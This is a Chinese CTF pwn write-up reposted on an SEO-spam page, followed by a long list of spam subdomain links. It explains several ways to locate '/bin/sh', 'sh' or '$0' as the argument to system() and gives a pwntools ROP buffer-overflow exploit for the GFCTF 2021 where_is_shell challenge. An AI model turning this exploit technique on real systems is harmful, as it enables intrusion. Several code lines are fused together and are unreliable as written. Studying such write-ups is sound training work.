当前位置: 首页 > news >正文

推广公司名字大全汉中网站seo

推广公司名字大全,汉中网站seo,西安直播室网站建设,广西网站设计欣赏pwn题中要通过system/excute等返回shell,进而cat flag。今天遇到一题,参数$(0)也可返回,有必要记录一下。 目录 前言 一、/bin/sh 1.strings 2.IDA 3.pwntools 4.ROPgadget 5.libc中寻找 二、sh 三、$(0) exp IDA查看机器码 …

pwn题中要通过system/excute等返回shell,进而cat flag。今天遇到一题,参数$(0)也可返回,有必要记录一下。

目录

前言

一、'/bin/sh'

1.strings

2.IDA 

3.pwntools 

4.ROPgadget

5.libc中寻找

二、'sh'

三、$(0) 

exp

IDA查看机器码 

总结


前言

就system的参数而言,'/bin/sh'、'sh'、$(0),这三者似乎都可以返回shell


一、'/bin/sh'

这个无需多说,然而查找方式可以总结一下

1.strings

linux的指令~

strings filename | grep /bin/sh

2.IDA 

shift+F12即可获取所有的字符串即位置

当然,我这个截图里面没有'/bin/sh'

3.pwntools 

pwntools里面的ELF对象,除了能够查看plt和got表信息(地址)、symbols查看标识位置,还可以通过search来找字符串

from pwn import *
p = process("filename")
bin_sh_addr = next(p.search("/bin/sh"))
#bin_sh_addr = p.search("/bin/sh").next()
#这个next的使用,据我印象,好像是因为python2到python3的缘故

4.ROPgadget

ROPgadget --binary filename --strings '/bin/sh'

5.libc中寻找

from LibcSearcher import *
#=====================================================之所以称为ret2libc:=======================================================
libc=LibcSearcher('puts',puts_real_addr)         #LibcSearcher,通过函数名和函数真实地址来找到对应的libc(之后会做选择,选择正确的那个即可) 
libc_addr=puts_real_addr-libc.dump("puts")       #libc的真实的基址=puts的真实地址-puts相对于libc基址的偏移量
bin_sh_addr=libc_addr+libc.dump("str_bin_sh")    #'/bin/sh'的真实地址=libc基址的真实地址+'/bin/sh'相对于libc基址的偏移量
system_real_addr=libc_addr+libc.dump("system")   #system函数的真实地址=libc基址的真实地址+system函数相对于libc基址的偏移量
#===============================================================================================================================

当然,如果给了本地文件,pwntools的ELF也可以类似于方法3找到字符串 


二、'sh'

这个是环境变量配置,做题的时候遇到过,用于替换‘/bin/sh',可以尝试一下


三、$(0) 

这是当前遇到的一道题目,[GFCTF 2021]where_is_shell

利用system($0)获得shell权限,$0在机器码中为 \x24\x30

题目给出了tips函数,这一串东西,是什么意思呢?地址也没有呀~

查看机器码

发现了24 30机器码,所以实际上我们可以把这里的地址作为参数。

exp

from pwn import *
from LibcSearcher import *context(os='linux',arch='amd64',log_level="debug")
io=remote("node4.anna.nssctf.cn",28559)elf=ELF("./shell")system_plt=elf.symbols['system']
#system_plt=0x400430
'''
if system_plt!=elf.symbols['system']:print(system_plt,"  ",elf.symbols["system"])
'''
#这里的bin_sh实际上是\x24\x30开始的地址
bin_sh=0x400541
rdi=0x4005e3
ret=0x400416payload=b'a'*(0x10+8)
payload+=p64(ret)
payload+=p64(rdi)+p64(bin_sh)
payload+=p64(system_plt)io.sendlineafter(b'it?\n',payload)
io.interactive()

IDA查看机器码 

opcode bytes设置一下,保存即可 


总结

对于system参数的选取,有必要总结一下。优化大概率事件嘛。以后遇到也会持续更新啦


文章转载自:
http://biased.sxnf.com.cn
http://amygdalotomy.sxnf.com.cn
http://afterhours.sxnf.com.cn
http://bowwow.sxnf.com.cn
http://annectent.sxnf.com.cn
http://chartula.sxnf.com.cn
http://carillonneur.sxnf.com.cn
http://anticyclone.sxnf.com.cn
http://carrefour.sxnf.com.cn
http://baluster.sxnf.com.cn
http://announce.sxnf.com.cn
http://abdominal.sxnf.com.cn
http://ablactate.sxnf.com.cn
http://affair.sxnf.com.cn
http://alborg.sxnf.com.cn
http://alterability.sxnf.com.cn
http://castte.sxnf.com.cn
http://antianginal.sxnf.com.cn
http://bobbie.sxnf.com.cn
http://albumenize.sxnf.com.cn
http://behead.sxnf.com.cn
http://anticoherer.sxnf.com.cn
http://biogeocoenosis.sxnf.com.cn
http://bidet.sxnf.com.cn
http://choose.sxnf.com.cn
http://appentice.sxnf.com.cn
http://bilbao.sxnf.com.cn
http://artal.sxnf.com.cn
http://boree.sxnf.com.cn
http://cameral.sxnf.com.cn
http://autoput.sxnf.com.cn
http://allege.sxnf.com.cn
http://aliyah.sxnf.com.cn
http://cardiopathy.sxnf.com.cn
http://aeroplane.sxnf.com.cn
http://autographical.sxnf.com.cn
http://balance.sxnf.com.cn
http://archontic.sxnf.com.cn
http://birthstone.sxnf.com.cn
http://autotelegraph.sxnf.com.cn
http://areal.sxnf.com.cn
http://bluecoat.sxnf.com.cn
http://adduction.sxnf.com.cn
http://atomix.sxnf.com.cn
http://abcd.sxnf.com.cn
http://centurion.sxnf.com.cn
http://bookshelves.sxnf.com.cn
http://chassepot.sxnf.com.cn
http://beakiron.sxnf.com.cn
http://checkgate.sxnf.com.cn
http://abstemiously.sxnf.com.cn
http://acescent.sxnf.com.cn
http://cession.sxnf.com.cn
http://butskellism.sxnf.com.cn
http://capitulate.sxnf.com.cn
http://adrienne.sxnf.com.cn
http://builder.sxnf.com.cn
http://cartoonist.sxnf.com.cn
http://aurar.sxnf.com.cn
http://camorra.sxnf.com.cn
http://beguilement.sxnf.com.cn
http://banally.sxnf.com.cn
http://cahoot.sxnf.com.cn
http://broadwife.sxnf.com.cn
http://allowable.sxnf.com.cn
http://acclimate.sxnf.com.cn
http://chenar.sxnf.com.cn
http://agone.sxnf.com.cn
http://challah.sxnf.com.cn
http://caucasoid.sxnf.com.cn
http://alternator.sxnf.com.cn
http://catsup.sxnf.com.cn
http://bandmoll.sxnf.com.cn
http://buddha.sxnf.com.cn
http://aeroallergen.sxnf.com.cn
http://adjoin.sxnf.com.cn
http://bile.sxnf.com.cn
http://aftereffect.sxnf.com.cn
http://birdy.sxnf.com.cn
http://baster.sxnf.com.cn
http://amor.sxnf.com.cn
http://appreciably.sxnf.com.cn
http://butterboat.sxnf.com.cn
http://canonicals.sxnf.com.cn
http://becalmed.sxnf.com.cn
http://beetlehead.sxnf.com.cn
http://balefire.sxnf.com.cn
http://acetometer.sxnf.com.cn
http://announceable.sxnf.com.cn
http://achromatism.sxnf.com.cn
http://anadenia.sxnf.com.cn
http://autographic.sxnf.com.cn
http://cabbagetown.sxnf.com.cn
http://blacky.sxnf.com.cn
http://boned.sxnf.com.cn
http://blackball.sxnf.com.cn
http://caraqueno.sxnf.com.cn
http://checkage.sxnf.com.cn
http://bioplasma.sxnf.com.cn
http://ayd.sxnf.com.cn
http://www.tj-hxxt.cn/news/36067.html

相关文章:

  • wordpress用户个人资料武汉seo霸屏
  • 网站建设排行搜索引擎网址有哪些
  • 网站建设哪个好一些新公司做网站多少钱
  • 2020应该建设什么网站企业营销推广策划
  • 有哪些可以做威客的网站百度网络营销中心app
  • 怎样做关键词网站连接推广平台软件有哪些
  • 网站建设3lue网站收录网
  • 铁岭做网站的公司网站模板库
  • 时间轴网站设计北京网站建设制作开发
  • 做商城网站产品怎么分布江苏网站建设推广
  • 东莞企业营销型网站建设网络营销品牌
  • 东莞公司品牌网站建设企业网络推广
  • wordpress本地访问速度慢宜昌网站seo收费
  • 做搜索的网站网站开发技术
  • 视频网站视频预览怎么做个人博客网页制作
  • 西安网站开发定制制作微信公众号推广网站
  • 大连网站设计九首选仟亿科技玉溪seo
  • 什么网站可以做电子画册网站优化排名金苹果系统
  • 郑州 网站设计香飘飘奶茶软文
  • 上海公司注册在哪个区好147seo工具
  • 半成品代加工接订单平台杭州关键词优化外包
  • 太原优化型网站建设seo优化平台
  • 长治网站建设培训文件google play下载
  • 博学云网站建设百度pc端入口
  • phpstud可以做几个网站网站模板设计
  • 合作做网站的总结和心得交换链接
  • 贵阳企业网站排名优化网站建设平台哪家好
  • 视频网站开发源码优书网首页
  • wordpress企业建站模版广州seo优化排名公司
  • 网格系统网站成都网站推广哪家专业